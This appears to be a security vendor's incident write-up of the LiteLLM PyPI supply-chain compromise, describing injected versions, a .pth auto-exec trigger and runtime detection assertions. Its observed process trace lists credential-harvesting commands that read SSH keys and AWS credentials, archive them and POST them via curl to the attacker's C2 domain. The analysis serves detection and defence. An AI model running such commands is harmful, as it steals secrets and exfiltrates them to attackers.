What happened
LiteLLM provides a unified interface to 100+ LLM APIs, with 95M+ monthly downloads. TeamPCP used a PYPI_PUBLISH token — exfiltrated from LiteLLM's CI via the compromised Trivy action — to publish versions 1.82.7 and 1.82.8.
Version 1.82.7 injected 12 lines into proxy_server.py that execute at import time. Version 1.82.8 added a litellm_init.pth file that fires on every Python interpreter startup — even if litellm is never imported. The payload harvested SSH keys, cloud credentials, and Kubernetes tokens, exfiltrating to models.litellm[.]cloud.
The discourse
Sonatype detected and blocked the versions within seconds of publication. Wiz's Gal Nagli called it a cascading loop: "Trivy gets compromised → LiteLLM gets compromised → credentials from tens of thousands of environments end up in attacker hands." BerriAI confirmed the origin was the Trivy dependency in their CI. PyPI quarantined the project.
What Garnet observed
1runner → pip install litellm==1.82.82 → python3.123 → site-packages/litellm_init.pth # .pth auto-exec on startup4 → python3.12 -c "subprocess.Popen(...)"5 → python3.12 /tmp/.pg_state # Backgrounded payload6 → find / -name "*.pem" -name "*.key"7 → cat ~/.ssh/id_rsa8 → cat ~/.aws/credentials9 → tar czf /tmp/tpcp.tar.gz10 → curl -X POST https://models.litellm[.]cloud:443
Garnet captures the chain from pip install through the .pth auto-execution trigger. The .pth file spawns a background Python process via subprocess.Popen — invisible to the parent. This child enumerates credential files, reads cloud configs, encrypts the haul, and initiates HTTPS POST to the C2.
The .pth mechanism fires on every Python invocation, not just litellm imports. In CI, any subsequent python step triggers the payload. Static analysis misses it — the malicious file is injected into the wheel at build time, absent from source.
Assertions fired:
no_known_bad_egress(DNS resolution tomodels.litellm[.]cloud),credentials_files_access(bulk read of SSH keys and cloud credentials from package install context),exec_from_unusual_dir(Python subprocess from site-packages.pthtrigger).
Real-world impact
Garnet's dependents analysis identified 18 high-download packages — including databricks-agents (5.2M/mo), dspy (5.1M), and opik (3.8M) — with open constraints that would have resolved to compromised versions. Because LiteLLM sits between apps and LLM providers, compromised environments expose API keys for every routed provider.
.pth auto-execution mechanism bypasses every static analysis tool — it fires on interpreter startup, not import. Runtime behavioral detection is the only layer that observes the credential harvest before exfiltration.